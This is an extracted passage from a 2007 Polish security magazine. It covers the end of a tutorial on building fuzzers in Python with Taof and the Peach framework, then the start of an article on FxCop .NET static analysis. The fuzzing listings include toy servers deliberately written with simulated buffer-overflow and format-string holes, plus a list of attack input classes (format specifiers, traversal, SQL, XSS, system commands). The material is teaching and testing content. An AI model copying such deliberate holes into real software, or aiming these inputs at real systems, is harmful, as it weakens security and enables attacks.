do budowania fuzzerów. Został opisany w tym artykule.

•   Taof – fuzzer wyspecjalizowany w testowaniu protokołów sieciowych. Posiada roz-

budowane GUI (Graphic User Interface). Współpracuje z systemami Linux i Win-
dows. Został opisany w tym artykule.

•   SMUDGE  –  fuzzer  wyłącznie  protokołów  sieciowych.  Podobny  w  działaniu  do 

Taof, wspiera szeroką gamę protokołów. 

•   FileP – program przeznaczony do generowania zmodyfikowanych plików na pod-

stawie określonego wzorca i wysyłanie ich do zewnętrznej (testowanej) aplikacji.

•   Antiparser – prosty framework. Dzięki mało skomplikowanej budowie jego kod ide-

alnie nadaje się do analizy. Niestety, projekt nie jest rozwijany od 2005 roku.

Wszystkie opisane programy można pobrać ze strony (2).

Rysunek 2. 

Określanie punktów 

fuzzingu

Wykorzystanie Pythona przy tworzeniu fuzzerów

Python jest językiem programowania, który niewątpliwie zrobił wrażenie na doświad-
czonych programistach. Oczywiście, każdy powinien programować w języku odpowia-
dającym osobistym preferencjom – ale faktem jest, że coraz więcej osób wykorzystuje 
Pythona do tworzenia oprogramowania testującego inne aplikacje pod kątem błędów 
mogących zagrozić bezpieczeństwu. Jest to zasługa prostoty samego języka, przejrzy-
stości kodu źródłowego, ale także ogromnych możliwości manipulowania ciągami tek-
stowymi. Co więcej, Python jest językiem o wiele mniej skomplikowanym niż C/C++, 
a napisanie w pełni funkcjonalnego programu zajmuje kilkakrotnie mniej czasu. Jedy-
nym minusem jest mniejsza szybkość pracy programu wynikająca ze skryptowej na-
tury Pythona.

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

46

Świetnie  nadaje  się  do  szybkiego 
testowania  nieznanych  protokołów. 
Został  doceniony  przez  światowej 
klasy specjalistów i uznany za jeden 
z najlepszych fuzzerów w swojej ka-
tegorii (protokoły sieciowe). Potwier-
dzeniem tego może być fakt umiesz-
czenia Taof w dystrybucji Backtrack
zawierającej  najlepsze  oprogramo-
wanie  służące  do  testów  bezpie-
czeństwa. 

Warto  przeanalizować  sposób 

działania Taof. Program ten pośred-
niczy w wymianie informacji pomię-
dzy  klientem  a  serwerem.  Przeka-
zuje  dane  od  serwera  do  klienta 
i  odwrotnie.  Podczas  tej  operacji 
zapisuje wszystkie wywołania, któ-
re  zostaną  później  wykorzystane 
do określenia rodzaju danych pod-
legających  fuzzingowi.  Taki  spo-
sób  wyłapywania  potrzebnych  da-
nych  w  znacznym  stopniu  ułatwia 
zrozumienie działania danego pro-
tokołu. Wyklucza on potrzebę mo-
nitorowania  całego  ruchu  w  sieci 
(np.  poprzez  sniffing)  i  w  znaczą-
cy sposób upraszcza proces konfi-
guracji.  Wspomnianą  konfigurację 
Taof  i  jego  działanie  przedstawia-
ją Rysunki 1 i 3. Na Rysunku 1. wi-
dzimy okno odpowiedzialne za kon-
figurację  portów.  Opcje  widoczne
w sekcji Local settings odpowiedzial-
ne  są  za  adres  IP  i  numer  portu, 
na którym nasłuchuje Taof. Sekcja
Remote settings odpowiada za ad-
res serwera. Po ustawieniu wszyst-
kich opcji łączymy się poprzez na-
szego  klienta  z  adresem  podanym 

Rysunek 3. 

Fuzzing

Listing 1. 

Serwer symulujący lukę w bezpieczeństwie

from

 

socket

 

import

 

*

         

import

 

sys

       

#konfiguracja polaczenia 

host

 

=

 

''

                            

port

 

=

 

50008

                        

#nasluchujemy

sck

 

=

 

socket

(

AF_INET

SOCK_STREAM

)

sck

.

bind

((

host

port

))

             

sck

.

listen

(

10

)

                 

#odbieramy pakiety od klientow

while

 

True

:

                                    

    

conn

addr

 

=

 

sck

.

accept

()

   

    

print

 

'Polaczono z '

addr

     

    

while

 

True

:

        

data

 

=

 

conn

.

recv

(

1024

)

        

if

 

not

 

data

:

 

break

        

        

if

 

len

(

data

)

 

>=

 

32

:

            

print

 

'Naruszenie pamieci'

            

sys

.

exit

()

        

conn

.

send

(

'Poprawnie odebrano dane'

)

     

    

conn

.

close

()

Listing 2. 

Klient wysyłający dane do serwera

import

 

socket

import

 

sys

port

 

=

 

50009

host

 

=

 

'localhost'

#nawiazujemy polaczenie

mysocket

 

=

 

socket

.

socket

(

socket

.

AF_INET

socket

.

SOCK_STREAM

)

mysocket

.

connect

((

host

port

))

#wczytujemy dane

message

 

=

 

sys

.

argv

[

1

]

#wysylamy i odbieramy dane

mysocket

.

send

(

message

)

temp

 

=

 

mysocket

.

recv

(

1024

)

print

 

temp

#zamykamy polaczenie

mysocket

.

close

()

Listing 3.

 Przykład kodu z wykorzystaniem frameworku Peach

from

 

Peach

 

import

 

*

from

 

Peach

.

Generators

 

import

 

*

grupa

 

=

 

group

.

Group

()

#tworzymy nasz generator

generator

 

=

 

block

.

Block

([

 

    

data

.

Static

(

'AAA'

)

#statyczne, niezmienne dane

    

repeater

.

Repeater

(

grupa

data

.

Static

(

'X'

)

1

10

)

,  

#powtarza dana 

operacje

    

data

.

Static

(

'BBB'

)

,

    

])

while

 

True

:

    

print

 

generator

.

getValue

()

  

#pobieranie kolejnej wartości z generatora

    

grupa

.

next

();

  #

przejscie

 

do

 

nastepnej

 

czesci

 

grupy

background image

Python – tworzenie fuzzerów

hakin9 Nr 12/2007

www.hakin9.org

47

Local settings. Po nawiązaniu po-
łączenia zauważymy, że Taof prze-
chwycił pewną porcję danych. Może-
my wtedy rozłączyć się z serwerem 
i określić tzw. punkty fuzzingu, czyli 
dane, które mają zostać zastąpione 
przez  fuzzera  losowymi  (patrz  Ry-
sunek 2). Następnie łączymy debug-
ger
  z  procesem  odpowiedzialnym 
za  pracę  serwera.  Po  wykonaniu
tej operacji możemy przystąpić do 
fuzzingu,  który  przedstawiony  jest 
na Rysunku 3. Testowany program 
sprawdzony zostanie pod kątem po-
datności m. in. na przepełnienie bu-
fora  oraz  błędy  ciągów  formatują-
cych. 

Zobaczmy  czy  Taof  naprawdę 

działa.  Przetestujmy  za  jego  pomo-
cą aplikację przedstawioną na Listin-
gu 1. Jest to prosty serwer napisany 
w  Pythonie,  który  symuluje  pewien 
popularny błąd, a mianowicie przepeł-
nienie bufora. Warunek 

len(data)  >= 

32

 (gdzie data jest naszym buforem) 

informuje,  że  jeżeli  serwer  otrzyma 

od klienta porcję danych, której dłu-
gość  przekracza  32  znaki,  to  połą-
czenie  zostanie  automatycznie  ze-
rwane, a serwer przestanie działać. 
Jest  to  przykład  ataku  DoS  (Denial 
of Service
), spowodowanego istnie-
niem błędu pozwalającego na prze-
pełnienie bufora. Przyjmijmy, że nie 
wiemy nic o istnieniu tego błędu i je-
steśmy  dopiero  w  fazie  testowania 
naszego programu. Wykonujemy na-
stępujące operacje.

Najpierw uruchamiamy skrypt od-

powiedzialny za pracę serwera. Na-
stępnie  włączamy  Taof  i  w  opcjach 
połączenia ustawiamy: w sekcji Local
settings
  adres  IP  na  0.0.0.0  i  port 
na  50009,  a  w  sekcji  Remote  set-
tings
 adres IP na localhost i port na 
50008.  Po  wykonaniu  tej  operacji 
aktywujemy Taof i za pomocą klienta 
kilkukrotnie łączymy się z serwerem, 
przesyłając dowolne dane. Wykorzy-
stujemy do tego polecenie:

python klient.py <przesylane dane> 

Po  przechwyceniu  instrukcji  prze-
syłanych  do  serwera,  ustawiamy
na  nich  punkty  naszego  fuzzingu, 
dołączamy  debugger  do  procesu 
python.exe (przy założeniu, że pra-
cujemy na systemie z rodziny Win-
dows)  i  rozpoczynamy  fuzzing.  Po
kilku chwilach będą widoczne pierw-
sze  efekty.  Do  programu  zostały 
wstrzyknięte  spreparowane  dane, 
aplikacja została zamknięta, a Taof 
zwrócił stosowny opis błędu (patrz 
Rysunek 4).

Tym  sposobem  znaleźliśmy  po-

datność naszego testowego serwera 
na przepełnienie bufora. W podobny 
sposób  będą  reagować  inne,  praw-
dziwe
  (nie  symulujące  danego  błę-
du) aplikacje. 

Piszemy własny fuzzer

Wiemy  już,  jak  działają  fuzzery. 
Nadszedł  czas  na  napisanie  wła-
snej aplikacji testowej. Możemy te-
go dokonać na dwa sposoby – wy-
korzystując  jeden  z  popularnych 

R

E

K

L

A

M

A

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

48

frameworków lub pisząc nasz pro-
gram  od  podstaw.  Zanim  jednak 
przejdziemy do pisania kodu, war-
to  zastanowić  się  nad  funkcjami,
jakie  powinien  posiadać  nasz  fuz-
zer
. Budując naszą aplikację stanie-
my  także  przed  wyborem  systemu
pracy  –  będziemy  musieli  wybrać 
pomiędzy fuzzerem, który w żaden 
sposób  nie  analizuje  kodu  progra-
mu  i  potrafi  wyłącznie  wstrzykiwać 
losowe  dane,  a  aplikacją  bardziej 
inteligentną,  która  będzie  czuła 
na  wykorzystywane  protokoły  czy
systemy  plików.  Oczywiście,  wła-
ściwy  wybór  zależy  od  przezna-
czenia  naszego  fuzzera  –  musimy 
zastanowić  się,  czy  piszemy  pro-
gram uniwersalny, czy dostosowany 
do  konkretnego  przypadku.  Kolejną 
rzeczą, na którą trzeba zwrócić uwa-
gę,  jest  określenie  celu  działania
naszego  programu  –  należy  okre-
ślić, czy będzie on w stanie testować 
pliki  wykonywalne  (ELF,  PE),  pliki 
graficzne, pliki XML, czy też proto-
koły sieciowe. Warto sprecyzować
możliwości  fuzzera  i  na  początku 
skupić się tylko na jednej ścieżce. 
Wraz  ze  wzrostem  doświadczenia
będziemy mogli dalej rozwijać nasz
program i dodawać kolejne ulepsze-
nia. Przejdźmy teraz do najważniej-
szego aspektu pisania fuzzera, czyli 
do opisu danych wprowadzanych do
testowanego  programu.  Podczas 
fuzzingu powinny być przekazywane 
następujące dane:

•   długie  ciągi  znaków  mogące 

spowodować przepełnienie bu-
fora,

•   ciągi  zawierające  specyfikatory 

formatu  (

%x

%n

%s

  itd.)  mogące 

ujawnić  istnienie  błędów  łańcu-
chów formatujących,

•   puste łańcuchy tekstowe,
•   liczby przekazywane w ciele strin-

gów,

•   wywołania używane podczas po-

szukiwania błędów XSS,

•   zapytania SQL,
•   duże liczby,
•   liczby ujemne,
•   znaki używane do poruszania się 

pomiędzy katalogami (np. ../../../),

•   znaki  końca  linii,  nawiasy  i  ko-

mendy systemowe.

•   Wszystkie  te  dane  mogą  dopro-

wadzić do nieprawidłowego dzia-
łania atakowanej aplikacji. Należy 
o  nich  pamiętać  i,  w  miarę  moż-
liwości,  dodawać  ich  obsługę  do 
naszego  fuzzera.  Jakie  zdarze-
nia  mogą  powodować  wymienio-
ne  powyżej  dane?  To  zależy  od 

programu.  Najczęściej  mogą  do-
prowadzić  do  zakończenia  pra-
cy  aplikacji,  jej  zawieszenia  się 
lub  zarezerwowania  dużej  ilości 
pamięci.  Jeżeli  podczas  fuzzin-
gu  udało  nam  się  uzyskać  jeden 
z tych efektów, znaczy to, że od-
nieśliśmy sukces.

Peach Framework

Nie  musimy  od  razu  rozpoczynać 
prac nad własnym, w pełni autorskim 
fuzzerem. Na początku możemy wy-
korzystać  dostępne  i  sprawdzone 
narzędzia. Jednym z nich jest Peach, 
zaawansowany framework wspoma-
gający tworzenie fuzzerów. Jest pro-
sty  w  użyciu,  zapewnia  wsparcie 
popularnych  protokołów  i  jest  cią-
gle  rozwijany.  Ponieważ  omówienie 
wszystkich zalet i możliwości Peach 
zajęłoby niejedną książkę, w tym ar-
tykule  zostaną  przedstawione  tylko 
jego najważniejsze cechy. 

Rysunek 4. 

Działanie sniffera

Składniki frameworku Peach

•   Generators  –  służą  do  generowania  różnego  rodzaju  danych.  Posiadają  szeroki 

wachlarz możliwości, poczynając od danych statycznych (niezmiennych łańcuchów 
tekstowych), poprzez części adresów URL, a na nagłówkach plików graficznych 
kończąc. Możemy używać także bardziej szczegółowych danych – złych adresów 
IP, nieprawidłowych łańcuchów tekstowych czy nieodpowiednich nazw plików. 

•   Publishers – jest to zbiór miejsc docelowych, do których będą wysyłane genero-

wane dane. Peach pozwala nam wysyłać dane do standardowego wyjścia, plików, 
połączeń ODBC, TCP i UDP oraz sesji FTP. Jest to standardowy zbiór, który oczy-
wiście możemy rozszerzyć poprzez własne implementacje.

•   Transformers – pozwalają zmieniać dane według określonego wzorca. Peach udo-

stępnia nam szereg takich narzędzi obsługujących m. in. kodowanie bzip2, gzip, 
algorytmy MD5 oraz SHA1, a także zmianę kodowania (UTF8, UTF16, URL).

•   Group – grupy powiązane są z generatorami. Używane są do modyfikacji kolej-

nych wartości produkowanych przez generatory. Za ich pomocą możemy tworzyć 
schematy pracy generatorów i uzyskać nad nimi pełną kontrolę.

background image

Python – tworzenie fuzzerów

hakin9 Nr 12/2007

www.hakin9.org

49

W Ramce Wykorzystanie języka

Python  przy  tworzeniu  fuzzerów  zo-
stały  przedstawione  najważniejsze 

składniki Peach. Korzystanie z same-
go frameworku jest intuicyjne i nie po-
winno sprawiać większych kłopotów. 

Z uwagi na przykłady przedstawio-
ne na Listingach 5. i 6. warto przy-
bliżyć  sposób  posługiwania  się
Peach.  Załóżmy,  że  chcemy  wyge-
nerować porcję danych spełniającą 
następujący warunek: 

AAA[1-10]XBBB

 

(

3

 pierwsze litery 

A

, potem od 

1

 do 

10

 liter 

X

, a na końcu 

3

 litery 

B

). Kod 

przedstawiony jest na Listingu 3. 

Mam nadzieję, że kod na Listin-

gu 3. jest zrozumiały. Spróbujmy go 
omówić.  Każdy  projekt  opierający 
się na Peach rozpoczynamy od za-
importowania  odpowiednich  modu-
łów. Następnie tworzymy grupę. Jej 
zastosowanie  nie  jest  w  tym  przy-
padku oczywiste, ale to dobre wpro-
wadzenie  do  kolejnego  przykładu.
Później tworzymy nasz generator za 
pomocą wywołania 

Block()

. Określa-

my warunki zgodnie z naszym sche-
matem (

AAA[1-10]XBBB

). W liście prze-

kazywanej  do  Block()  znajdują  się 
dwie kolejne, nieznane nam jeszcze, 
funkcje: 

Static()

  oraz 

Repeater()

. 

Pierwsza  z  nich  określa  statyczny 
łańcuch tekstowy (nie ulegający zmia-
nie),  a  wystąpienie  drugiej  oznacza 
rozpoczęcie  ciągu  powtarzających 
się  znaków.  Ciąg  ten  wydluża  się 
o  1  wraz  z  kolejnym  wywołaniem
generatora.  Listing  3.  kończy  się
wywołaniami:  funkcji 

getValue()

,  od-

Listing 4. 

Przykład kodu z wykorzystaniem frameworku Peach – użycie 

grup

from

 

Peach

 

import

 

*

from

 

Peach

.

Generators

 

import

 

*

grupaX

 

=

 

group

.

Group

()

grupaY

 

=

 

group

.

Group

()

group

 

=

 

group

.

GroupSequence

([

    

grupaX

,

    

grupaY

    

]

"Prosty Generator"

)

generator

 

=

 

block

.

Block

([

 

    

data

.

Static

(

'AAA'

)

#statyczne, niezmienne dane

    

repeater

.

Repeater

(

grupaX

data

.

Static

(

'X'

)

1

10

)

,  

#powtarza dana 

operacje

    

repeater

.

Repeater

(

grupaY

data

.

Static

(

'Y'

)

1

10

)

,  

#powtarza dana 

operacje

    

data

.

Static

(

'BBB'

)

,

    

])

while

 

True

:

    

print

 

generator

.

getValue

()

  

#pobieranie kolejnej wartości z generatora

    

grupa

.

next

();

  #

przejscie

 

do

 

nastepnej

 

czesci

 

grupy

Listing 5. 

Serwer symulujący błąd typu format string (vul.py)

import

 

sys

 

bufor

 

=

 

sys

.

argv

[

1

]

 

#przekazywany parametr bez weryfikacji

if

 

'%x'

 

in

 

bufor

:

    

print

 

'a7 45 8b 9a...'

  

#dane ze stosu

elif

 

'%n'

 

in

 

bufor

:

    

print

 

'c5 d8 15 39...'

 

#dane ze stosu

else

:

    

print

 

'Dane wprowadzone poprawnie'

Listing 6. 

Program testujący program vul.py

from

 

Peach

.

Generators

 

import

 

*

import

 

os

import

 

string

def

 

run

(

program

*

args

):

    

#szuka pliku wykonywalnego

    

for

 

path

 

in

 

string

.

split

(

os

.

environ

[

"PATH"

]

os

.

pathsep

):

        

file

 

=

 

os

.

path

.

join

(

path

program

)

 

+

 

".exe"

        

try

:

            

return

 

os

.

spawnv

(

os

.

P_WAIT

file

(

file

)

 

+

 

args

)

        

except

 

os

.

error

:

            

pass

    

raise

 

os

.

error

"Nie mozna odszukac pliku wykonywalnego"

test_value

 

=

 

data

.

BadStrings

()

 

#zbiór wadliwych danych

i

 

=

 

1

while

 

True

:

 

    

print

 

i

" - "

test_value

.

getValue

()

 

#aktualnie testowene dane

    

run

(

"python"

"vul.py"

test_value

.

getValue

())

    

test_value

.

next

()

 

#przechodzimy do nastepnego elementu zbioru

    

i

 

+=

 

1

Terminologia

•   Framework  –  jest  to  zestaw  narzę-

dzi  (np.  biblioteki)  wspomagający 
tworzenie  programów  danego  typu. 
Framework  jest  szkieletem  nowo-
powstającej aplikacji, zapewniając jej 
podstawowe  funkcje  i  operacje  za-
leżnie  od  przeznaczenia  framewor-
ku (np. nawiązywanie połączeń, ge-
nerowanie  podstawowych  elemen-
tów GUI).

•   Debugger  –  program  wykorzysty-

wany do analizowania kodu źródło-
wego lub kodu maszynowego innej 
aplikacji w celu znalezienia ewentu-
alnych  nieprawidłowości.  Debugge-
ry śledzą kod i potrafią wykonywać 
instrukcje krok po kroku, co ułatwia 
znalezienie  miejsca  występowania 
błędu.  Jednym  z  najbardziej  zna-
nych debuggerów jest OllyDBG (do 
pobrania ze strony (4)).

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

50

powiedzialnej za pobieranie aktualnie 
wygenerowanego  ciągu,  oraz  meto-
dy 

next()

 – powodującej przejście do

kolejnej iteracji.

Na  Listingu  4.  zostało  przedsta-

wione bardziej złożone wykorzystanie 
grup. Poprzez funkcję 

GroupSequence()

tworzymy  strukturę  składającą  się
z dwóch grup. Następnie każda grupa 
zostanie przydzielona do innego obiek-
tu  Repeater.  Powoduje  to  dość  cieka-
we  działanie  obu  obiektów  Repeater 
(odpowiedzialnych  za  dziesięciokrot-
ne wyświetlanie 

X

 i 

Y

) – najpierw zosta-

nie wykonana pętla odpowiedzialna za
wykonanie 

X

  (analogicznie  jak  w  po-

przednim  wypadku),  a  następnie  bę-
dzie  wykonana  pętla  dla 

Y

.  Nie  będą 

one wykonywane niezależnie.

Przejdźmy teraz do rzeczy bar-

dziej praktycznych. Na Listingu 5. 
znajduje  się  kod  aplikacji,  która 
symuluje  błąd  ciągów  formatują-
cych. Naszym zadaniem jest prze-
testowanie  programu  za  pomocą
własnoręcznie  napisanej  aplika-
cji  wspomaganej  frameworkiem 
Peach.  Kod  naszego  autorskie-
go  programu  możemy  zobaczyć 
na  Listingu  6.  W  przedstawionym 
programie  wykorzystujemy  funk-
cję 

BadStrings()

, która zwraca nam 

kilkadziesiąt  niepoprawnych  łań-
cuchów  tekstowych.  Łańcuchy  te 
przekazujemy  do  naszego  testo-
wanego  programu,  który  urucha-
miamy  za  pomocą  wbudowanej
w Pythona funkcji spawnv(). Wynik 
działania programu przedstawiony 
jest  na  Rysunku  5.  Warto  zainte-
resować się linijkami z wywołania-

mi 44, 45 i 46. Przedstawiają one 
udaną próbę ataku na aplikację.

Jak  już  pisałem  wcześniej,

w tak krótkim czasie trudno jest opi-
sać  wszystkie  zagadnienia  związa-
ne z Peach. Trzeba poświęcić trochę 
czasu na zgłębianie jego tajników na 
własną rękę. Mogę jednak zapewnić, 
że nie będzie to czas zmarnowany.

Własny fuzzer

Oczywiście,  nie  jesteśmy  ska-
zani  na  wykorzystywanie  goto-
wych frameworków. Nic nie stoi na 
przeszkodzie,  aby  przy  odrobinie
samozaparcia napisać od podstaw 
własny  fuzzer.  Trzeba  jednak  pa-
miętać  o  kilku  rzeczach.  Warto
zacząć od kodowania fuzzerów do-
stosowanych  do  konkretnego  pro-
blemu  (dany  jest  program,  znany 
jest  nam  sposób  komunikacji  po-
między  klientem  a  serwerem  itd.). 
Potem możemy próbować przymie-
rzyć się do uniwersalnych testerów 
lub  frameworków.  Wymagają  one 
jednak wiele pracy – trzeba dogłęb-
nie poznać reguły testowania opro-
gramowania  pod  kątem  luk  w  bez-
pieczeństwie i mieć spore doświad-
czenie w programowaniu. W trakcie 
pracy będziemy spotykać się głów-
nie z problemami związanymi z for-
matowaniem  i  dobieraniem  odpo-
wiednich  ciągów  tekstowych.  Do 
takich operacji Python jest idealny. 
Wyrażenia  regularne,  swobodne 
operacje  na  stringach  i  szybkość
pracy  pozwolą  uzyskać  całkiem
niezłe efekty programistyczne. Że-
by  np.  wyświetlić  w  Pythonie  ciąg 

złożony z liter A, których ilość okre-
śla  zmienna  i,  wystarczy  wydać
polecenie 

print  i*’A’

.  Podobnych 

udogodnień  jest  więcej.  Niestety, 
ograniczona  ilość  informacji,  któ-
rą mogę przekazać w tym artykule,
nie pozwala mi rozwinąć tego tema-
tu  w  sposób  bardziej  rozbudowany. 
Liczę zatem na Waszą kreatywność 
przy pisaniu własnego fuzzera. 

Podsumowanie

Fuzzing pozwala nam na ogromną 
oszczędność  czasu.  Testowanie
programów za pomocą fuzzerów nie 
wymaga  dużych  nakładów  czasu
w porównaniu do analizy statycznej 
czy analizy wstecznej. Pełna auto-
matyzacja procesu testowania, po-
łączona  z  możliwością  dostoso-
wania  technik  fuzzingu  do  swoich
potrzeb, zapewnia przyzwoite efek-
ty. Aktualnie fuzzing jest najczęściej 
wykorzystywaną  techniką  wykrywa-
nia  błędów.  Warto  mieć  zdolność 
testowania  programów  za  pomo-
cą dostępnych narzędzi i własnych 
skryptów.  Możliwość  szybkiego  wy-
krycia  błędu  jest  obecnie  bardzo 
cenną umiejętnością. Niejednokrot-
nie musimy walczyć z czasem, szu-
kając  niewidocznego  na  pierwszy 
rzut oka błędu. Wtedy właśnie przy-
dają  się  fuzzery  pozwalające  nam 
na  błyskawiczne  wykrycie  ukrytej 
usterki. l

Rysunek 5. 

Efekt działania naszego fuzzera

O autorze

Piotr  Łaskawiec,  student  Informatyki 
Stosowanej  na  Politechnice  Krakow-
skiej. Założyciel i  przewodniczący Ko-
ła  Naukowego  PK  IT  Security  Group 
(www.pkitsec.pl)
. Od wielu lat związa-
ny  z  tematyką  bezpieczeństwa  kom-
puterowego.  Pasjonat  języka  Python. 
W wolnych chwilach programuje i zaj-
muje się publicystyką. Kontakt z auto-
rem: hellsource@gmail.com

W Sieci

•   http://sourceforge.net/projects/taof
•   http://fuzzing.org/fuzzing-software
•   http://peachfuzz.sourceforge.net/
•   http://www.ollydbg.de/

background image

Python – tworzenie fuzzerów

hakin9 Nr 12/2007

www.hakin9.org

51

background image

www.hakin9.org

hakin9 Nr 12/2007

52

Obrona

Z

apewnienie  odpowiedniej  jakości  kodu, 
czy to przy pomocy różnych metodologii 
(np. Extreme Programming), okresowego 

sprawdzania i analizy kodu (code reviews), czy 
też  kombinacji  różnych  podejść,  jest  procesem 
kosztownym i długotrwałym. Jego automatyza-
cja  i  wplecenie  w  cykl  życia  aplikacji,  pomimo
iż nie wyeliminuje do końca ingerencji człowie-
ka  –  a  także  samych  błędów  –  zdecydowanie 
usprawnia proces i zwiększa efektywność pra-
cy całego zespołu. Tu przychodzą nam z pomo-
cą narzędzia do statycznej analizy kodu, a wśród 
nich aplikacja FxCop.

FxCop  jest  narzędziem  do  analizy  kodu, 

które  sprawdza  zgodność  elementów  kodu  za-
rządzanego  .NET  z  wytycznymi  projektowymi
dla platformy .NET (Microsoft .NET Framework
Design Guidelines
). Narzędzie wykorzystuje me-
chanizm refleksji, parsowanie MSIL oraz analizę 
grafu wywołań do sprawdzenia elementów pod 
kątem występowania ponad 200 często spotyka-
nych wad w następujących obszarach: 

•   projekt bibliotek,
•   lokalizacja,
•   konwencje nazewnictwa,
•   wydajność,
•   bezpieczeństwo.

FxCop  dysponuje  graficznym  interfejsem  użyt-
kownika, ale jest też narzędziem dostępnym 
z  wiersza  polecenia.  Zawiera  także  pakiet 
SDK umożliwiający tworzenie niestandardowych 
reguł. 

Jakość tworzonego kodu

Kiedy mówimy o tworzeniu bezpiecznego opro-
gramowania,  musimy  zacząć  od  samych  pod-
staw, czyli od jakości tego, co napisaliśmy. Ma 
ona fundamentalne znaczenie w przypadku, gdy 
nasza aplikacja jest kluczowa dla firmy. Spraw-
dzeniem jakości naszego kodu zajmuje się spe-
cjalna dziedzina inżynierii oprogramowania, nie-
mniej  jednak  jako  programiści  sami  jesteśmy 

FxCop – analiza kodu 

w .NET

Artur Żarski

stopień trudności

Tworzenie oprogramowania jest bardzo złożonym procesem, 

bardzo trudno jest napisać aplikację, która będzie pozbawiona 

błędów, a co za tym idzie – bezpieczna. Ogromny nacisk 

kładziony jest więc na to, aby oprogramowanie zawierało tych 

błędów jak najmniej. 

Z artykułu dowiesz się

•   jak działa i czym jest narzędzie FxCop,
•   czym jest analiza kodu.

Co powinieneś wiedzieć

•   należy znać zagadnienia związane z programo-

waniem przy użyciu platformy .NET ,

•   wiedzieć, jak poruszać się w środowisku Visual 

Studio.

background image

FxCop – analiza kodu w .NET

hakin9 Nr 12/2007

www.hakin9.org

53

w stanie określać reguły, którym pod-
lega tworzony kod aplikacji.  Do  tego
celu  możemy  wykorzystać  mecha-
nizm statycznej analizy kodu. Okre-
ślenie  statyczna  analiza  kodu  to 
specjalny  etap  kompilacji  naszego 
programu,  w  trakcie  którego  przy 
pomocy odpowiednich reguł spraw-
dzane jest to, co napisaliśmy. Regu-
ły te opisują, co jest prawidłowe i jak 
powinien wyglądać nasz kod źródło-
wy,  aby  był  poprawny  i  bezpieczny
z naszego punktu widzenia. 

FxCop w działaniu

No  dobrze,  jeśli  już  dowiedzieliśmy 
się  czegoś  na  temat  jakości  kodu 
oraz  jego  statycznej  analizy,  to  nie 
pozostaje  nam  nic  innego  jak  tylko 
napisanie  czegoś  co  pozwoli  ana-
lizować i sprawdzać nasz kod. Jest 
to wykonalne, ale bardzo skompliko-
wane do oprogramowania. Dlaczego 
jest  to  takie  trudne?  Ponieważ  bar-
dzo  często  zdarza  się,  że  ten  sam 
problem może być opisany w różny 
sposób. Z pomocą przychodzą nam 
kody  operacji  języka  pośredniego 
(Intermediate  Language).  Ich  zapis 
po  stronie  systemu  operacyjnego, 
po  kompilacji,  jest  bardziej  przewi-
dywalny i bardziej jednoznaczny niż 
sam kod źródłowy, nawet przy uży-
ciu różnych języków programowania 
dostępnych w platformie .NET. 

W  taki  właśnie  sposób  –  przy 

pomocy  analizy  kodu  pośredniego 
– działa narzędzie pod nazwą FxCop. 

Reguły w FxCop

Jak  już  wcześniej  wspominaliśmy, 
analiza składni polega na sprawdze-
niu kodu według wcześniej określo-
nych reguł. Dokładnie ta sama zasa-

da działania dotyczy FxCop. Narzę-
dzie to zawiera standardowo wbudo-
wane pewne reguły określające, jak 
powinien wyglądać nasz kod. Regu-
ły te są umieszczone w kilku grupach 

Tabela 1. 

Grupy reguł dla FxCop

Grupa

Zakres analizy

Design

Poprawność architektury bibliotek pod kątem zgodności z zasadami nakre-
ślonymi w dokumencie Design Guidelines for Class Library Developers

Globalization

Globalizacja, czyli gotowość aplikacji do lokalizacji

Interoperability

Współpraca z kodem niezarządzanym (głównie COM)

Maintainability

Konserwacja kodu

Naming

Zgodność z konwencjami nazewniczymi opisanymi w dokumencie Design 
Guidelines for Class Library Developers

Performance

Wydajność kodu

Reliability

Niezawodność aplikacji oraz odporność na problemy, np. związane z ilością 
użytej pamięci

Security

Bezpieczeństwo

Usage

Poprawne użycie .Net Framework

Listing 1. 

Definicja reguły w pliku XML

<

Rules

>

<

Rule TypeName=

"RegulaPusteNazwy"

 

Category=

" Naming"

 

CheckId=

"Reg5000"

>

        

<

Name

>

Reguła używana, kiedy pojawiają się puste nazwy

<

/Name

>

        

        

<

Description

>

Tutaj nasz opis

<

/Description

>

        

<

Url

>

Link do opisu 

<

/Url

>

 

        

<

Resolution

>

Sposób rozwiązania

<

/Resolution

>

        

<

Email

>

email do osoby odpowiedzialnej

<

/Email

>

        

<

MessageLevel Certainty=

"95"

>

Error

<

/MessageLevel

>

        

<

FixCategories

>

Breaking

<

/FixCategories

>

        

<

Owner

>

Informacje o właścicielu reguły

<

/Owner

>

<

/Rule

>

<

/Rules

>

Rysunek 1. 

Okno Code Analysis w VisualStudio

Źródło: http://msdn2.microsoft.com/en-us/library/ee1hzekz(VS.80).aspx

background image

hakin9 Nr 12/2007

www.hakin9.org

Obrona

54

funkcjonalnych.  Tabela  1.  zawiera
zestawienie grup wraz ze specyfika-
cją, jakiemu zakresowi analizy pod-
legają umieszczone reguły.

Sama  reguła  jest  tylko  jednym 

z  elementów  całej  analizy.  Istotną 
sprawą  jest  stwierdzenie,  czy  to 
co  dana  reguła  wykryje,  jest  waż-
ne, czy nie i jak to zdarzenie zakla-
syfikować.  W  związku  z  tym  musi-
my określić jeszcze dwa parametry. 
Są nimi poziom istotności oraz pew-
ność. Występują trzy główne czynni-
ki determinujące poziom istotności:

•   widzialność  znalezionego  pro-

blemu,

•   prawdopodobieństwo  tego,  czy 

wykryty problem będzie miał ne-
gatywny  skutek  na  całość  apli-
kacji i jej zachowania,

•   ryzyko  powiązane  z  nie  napra-

wieniem problemu.

Dodatkowo każda reguła musi cecho-
wać  się  jednym  z  pięciu  poziomów 
istotności.  Poziomy  te  przedstawiają 
się następująco:

•   Critical  Error  (Błąd  krytyczny)  / 

Error  (Błąd)  –  wiadomości,  któ-
rym  nadano ten poziom, dotyczą 
problemów, które mogą zagrozić 
stabilności kodu,

•   Critical Warning (Ostrzeżenie kry-

tyczne)  /  Warning  (Ostrzeżenie) 
–  w  tej  grupie  problemy  zwykle 
nie  dotyczą  stabilności  aplikacji. 
Niemniej  jednak  powinny  zostać 
dokładnie  przeanalizowane  pod 
kątem optymalności kodu,

•   Informational (Informacja) – sto-

sowany  do  wiadomości,  które 
dostarczają  jedynie  informacji 
o  przedmiocie  analizy,  nie  iden-
tyfikują zaś potencjalnych proble-
mów z nim związanych.

Współczynnik pewności określa praw-
dopodobieństwo, z jakim problem zo-
stał  poprawnie  zidentyfikowany.  Po-
dobnie,  jak  poziom  istotności,  jest  to 
wartość określana subiektywnie przez 
autora reguły, jednak powinna ona za-
